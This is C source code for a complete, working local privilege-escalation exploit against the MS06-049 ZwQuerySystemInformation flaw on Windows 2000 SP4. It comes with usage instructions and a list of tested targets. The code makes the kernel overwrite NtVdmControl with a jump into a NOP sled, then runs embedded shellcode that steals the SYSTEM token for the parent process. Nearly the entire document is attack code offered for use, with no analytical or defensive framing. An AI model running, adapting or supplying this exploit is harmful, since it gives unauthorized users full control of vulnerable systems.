/*
MS06-049 Windows ZwQuerySystemInformation Local Privilege Escalation Vulnerability Exploit
Created by SoBeIt Main file of exploit
Tested on:
Windows 2000 PRO SP4 Chinese
Windows 2000 PRO SP4 Rollup 1 Chinese
Windows 2000 PRO SP4 English
Windows 2000 PRO SP4 Rollup 1 English
Usage:ms06-049.exe
*/
#include <windows.h>
#include <stdio.h>
#define NTSTATUS int
#define ProcessBasicInformation 0
#define SystemModuleInformation 11
typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);
typedef NTSTATUS (NTAPI *ZWQUERYINFORMATIONPROCESS)(HANDLE, ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
ZWVDMCONTROL ZwVdmControl;
ZWQUERYINFORMATIONPROCESS ZwQueryInformationProcess;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
ULONG AffinityMask;
ULONG BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknow;
USHORT LoadCount;
USHORT ModuleNameOffset;
char ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
unsigned char kfunctions[64][64] =
{
//ntoskrnl.exe
{"ZwTerminateProcess"},
{""},
};
unsigned char shellcode[] =
"\x90\x60\x9c\xe9\xd1\x00\x00\x00\x5f\x4f\x47\x33\xc0\x66\x81\x3f"
"\x90\xcc\x75\xf6\x40\x40\x66\x81\x3c\x07\xcc\x90\x75\xec\x83\xc7"
"\x04\xbe\x38\xf0\xdf\xff\x8b\x36\xad\xad\x48\x81\x38\x4d\x5a\x90"
"\x00\x75\xf7\x95\x8b\xf7\x6a\x01\x59\xe8\x56\x00\x00\x00\xe2\xf9"
"\xbb\x24\xf1\xdf\xff\x8b\x1b\x8b\x43\x44\xb9\x08\x00\x00\x00\xe8"
"\x2c\x00\x00\x00\x8b\xd0\x8b\x4e\x04\xe8\x22\x00\x00\x00\x8b\x8a"
"\x2c\x01\x00\x00\x89\x88\x2c\x01\x00\x00\x56\x8b\x7e\x0c\x8b\x4e"
"\x10\x8b\x76\x08\xf3\xa4\x5e\x33\xc0\x50\x50\xff\x16\x9d\x61\xc3"
"\x8b\x80\xa0\x00\x00\x00\x2d\xa0\x00\x00\x00\x39\x88\x9c\x00\x00"
"\x00\x75\xed\xc3\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56"
"\x8b\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe"
"\x10\x85\xd2\x74\x08\xc1\xcb\x07\x03\xda\x40\xeb\xf1\x3b\x1f\x75"
"\xe7\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd"
"\x8b\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\x2a\xff\xff\xff\x90\x90"
"\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc";
void ErrorQuit(char *msg)
{
printf("%s:%x\n", msg, GetLastError());
ExitProcess(0);
}
ULONG ComputeHash(char *ch)
{
ULONG ret = 0;
while(*ch)
{
ret = ((ret << 25) | (ret >> 7)) + *ch++;
}
return ret;
}
ULONG RVA2Offset(ULONG RVA, PIMAGE_SECTION_HEADER pSectionHeader, ULONG Sections)
{
ULONG i;
if(RVA < pSectionHeader[0].PointerToRawData)
return RVA;
for(i = 0; i < Sections; i++)
{
if(RVA >= pSectionHeader[i].VirtualAddress &&
RVA < pSectionHeader[i].VirtualAddress + pSectionHeader[i].SizeOfRawData)
return (RVA - pSectionHeader[i].VirtualAddress + pSectionHeader[i].PointerToRawData);
}
return 0;
}
ULONG Offset2RVA(ULONG Offset, PIMAGE_SECTION_HEADER pSectionHeader, ULONG Sections)
{
ULONG i;
if(Offset < pSectionHeader[0].PointerToRawData)
return Offset;
for(i = 0; i < Sections; i++)
{
if(Offset >= pSectionHeader[i].PointerToRawData &&
Offset < pSectionHeader[i].PointerToRawData + pSectionHeader[i].SizeOfRawData)
return (Offset - pSectionHeader[i].PointerToRawData + pSectionHeader[i].VirtualAddress);
}
return 0;
}
void GetFunction()
{
HANDLE hNtdll;
hNtdll = LoadLibrary("ntdll.dll");
if(hNtdll == NULL)
ErrorQuit("LoadLibrary failed.\n");
ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
if(ZwVdmControl == NULL)
ErrorQuit("GetProcAddress failed.\n");
ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "ZwQueryInformationProcess");
if(ZwQueryInformationProcess == NULL)
ErrorQuit("GetProcAddress failed.\n");
ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
if(ZwQuerySystemInformation == NULL)
ErrorQuit("GetProcessAddress failed.\n");
FreeLibrary(hNtdll);
}
ULONG GetKernelBase()
{
ULONG i, Byte, ModuleCount;
PVOID pBuffer;
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
PCHAR pName;
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
if((pBuffer = malloc(Byte)) == NULL)
ErrorQuit("malloc failed.\n");
if(ZwQuerySystemInformation(SystemModuleInformation, pBuffer, Byte, &Byte))
ErrorQuit("ZwQuerySystemInformation failed\n");
ModuleCount = *(PULONG)pBuffer;
pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
for(i = 0; i < ModuleCount; i++)
{
if((pName = strstr(pSystemModuleInformation->ImageName, "ntoskrnl.exe")) != NULL)
{
free(pBuffer);
return (ULONG)pSystemModuleInformation->Base;
}
pSystemModuleInformation++;
}
free(pBuffer);
return 0;
}
int main(int argc, char *argv[])
{
PULONG pStoreBuffer, pNamesArray, pFunctionsArray, pShellcode, pRestoreBuffer;
PUCHAR pBase;
PCHAR pName;
PUSHORT pOrdinals;
PIMAGE_NT_HEADERS pHeader;
PIMAGE_EXPORT_DIRECTORY pExport;
PIMAGE_SECTION_HEADER pSectionHeader;
PROCESS_BASIC_INFORMATION pbi;
SYSTEM_MODULE_INFORMATION smi;
char DriverName[256];
ULONG Byte, FileSize, len, i, j, k, Count, BaseAddress, Value, KernelBase, buf[64], HookAddress, Temp, Sections;
USHORT index;
HANDLE hDevice, hFile, hFileMap;
printf("\n MS06-049 Windows ZwQuerySystemInformation Local Privilege Escalation Vulnerability Exploit \n\n");
printf("\t Create by SoBeIt. \n\n");
if(argc != 1)
{
printf(" Usage:%s \n\n", argv[0]);
return 1;
}
GetFunction();
if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL))
ErrorQuit("ZwQueryInformationProcess failed\n");
KernelBase = GetKernelBase();
if(!KernelBase)
ErrorQuit("Unable to get kernel base address.\n");
printf("Kernel base address: %x\n", KernelBase);
pRestoreBuffer = malloc(0x100);
if(pRestoreBuffer == NULL)
ErrorQuit("malloc failed.\n");
pStoreBuffer = VirtualAlloc(NULL, 0x1001000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(pStoreBuffer == NULL)
ErrorQuit("VirtualAlloc failed.\n");
printf("Allocated address:%x\n", pStoreBuffer);
if(!GetSystemDirectory((PUCHAR)pStoreBuffer, 256))
ErrorQuit("GetSystemDirectory failed.\n");
strcat((PUCHAR)pStoreBuffer, "\\ntoskrnl.exe");
hFile = CreateFile((PUCHAR)pStoreBuffer, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
{
hFile = CreateFile("ntoskrnl.exe", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
ErrorQuit("CreateFile failed.\n");
}
if((FileSize = GetFileSize(hFile, NULL)) == 0xffffffff)
ErrorQuit("GetFileSize failed.\n");
printf("File size:%x\n", FileSize);
pBase = (PUCHAR)VirtualAlloc(NULL, FileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(pBase == NULL)
ErrorQuit("VirtualAlloc failed.\n");
if(!ReadFile(hFile, pBase, FileSize, &Byte, NULL))
ErrorQuit("ReadFile failed.\n");
pHeader = (PIMAGE_NT_HEADERS)(pBase + ((PIMAGE_DOS_HEADER)pBase)->e_lfanew);
pSectionHeader = (PIMAGE_SECTION_HEADER)((PUCHAR)(&pHeader->OptionalHeader) + pHeader->FileHeader.SizeOfOptionalHeader);
Sections= pHeader->FileHeader.NumberOfSections;
pExport = (PIMAGE_EXPORT_DIRECTORY)(pBase +
RVA2Offset(pHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress,
pSectionHeader,
Sections
));
pNamesArray = (PULONG)(pBase +
RVA2Offset(pExport->AddressOfNames,
pSectionHeader,
Sections));
pFunctionsArray = (PULONG)(pBase +
RVA2Offset(pExport->AddressOfFunctions,
pSectionHeader,
Sections));
pOrdinals = (PUSHORT)(pBase +
RVA2Offset(pExport->AddressOfNameOrdinals,
pSectionHeader,
Sections));
len = strlen("NtVdmControl");
for(i = 0; i < pExport->NumberOfNames; i++)
{
pName = pBase + RVA2Offset(pNamesArray[i], pSectionHeader, Sections);
if(!strncmp(pName, "NtVdmControl", len))
break;
}
if(i > pExport->NumberOfFunctions)
ErrorQuit("Some error occured.\n");
index = pOrdinals[i];
HookAddress = pFunctionsArray[index] + KernelBase;
memcpy((PUCHAR)pRestoreBuffer, pBase + pFunctionsArray[index] - 1, 0x10);
printf("%s Address:%x\n", "NtVdmControl", HookAddress);
pShellcode = (PULONG)shellcode;
for(k = 0; pShellcode[k++] != 0x90cccc90; )
;
for(j = 0; kfunctions[j][0] != '\x0'; j++)
buf[j] = ComputeHash(kfunctions[j]);
buf[j++] = pbi.InheritedFromUniqueProcessId;
buf[j++] = (ULONG)pRestoreBuffer;
buf[j++] = HookAddress - 1;
buf[j++] = 0x10;
memcpy((char *)(pShellcode + k), (char *)buf, j * 4);
Temp = 0;
for(i = 0; i < 7; i++)
{
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
Byte = Byte / sizeof(SYSTEM_MODULE_INFORMATION);
Temp += Byte;
}
Byte = Temp / 7;
printf("Single value:%x\n", Byte);
Value = (0xe9 << 8) & 0xff00;
printf("Jump value:%x\n", Value);
printf("Base value:%x\n", pRestoreBuffer[0]);
for(Count = 0; ; Count++)
{
if(((pRestoreBuffer[0] + Count * Byte) & 0xff00) == Value)
break;
}
printf("Need value generated:%x\n", pRestoreBuffer[0] + Count * Byte);
printf("Count value:%x\n", Count);
for(i = 0; i < Count; i ++)
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)(HookAddress - 1), 0, &Byte);
Temp = 0;
for(i = 0; i < 7; i++)
{
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
Byte = Byte / sizeof(SYSTEM_MODULE_INFORMATION);
Temp += Byte;
}
Byte = Temp / 7;
printf("Single value:%x\n", Byte);
Value = (((ULONG)pStoreBuffer + 0x800000 - HookAddress) >> 16) & 0xfff0;
printf("Jump value:%x\n", Value);
printf("Base value:%x\n", pRestoreBuffer[1]);
for(Count = 0; ; Count++)
{
if(((pRestoreBuffer[1] + Count * Byte) & 0xfff0) == Value)
break;
}
printf("Need value generated:%x\n", pRestoreBuffer[1] + Count * Byte);
printf("Count value:%x\n", Count);
for(i = 0; i < Count; i ++)
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)(HookAddress + 3), 0, &Byte);
memset(pStoreBuffer, 0x90, 0x1001000);
memcpy((PUCHAR)pStoreBuffer + 0x1000000, shellcode, sizeof(shellcode));
CloseHandle(hFile);
printf("Exploitation finished.\n");
ZwVdmControl(0, NULL);
return 1;
}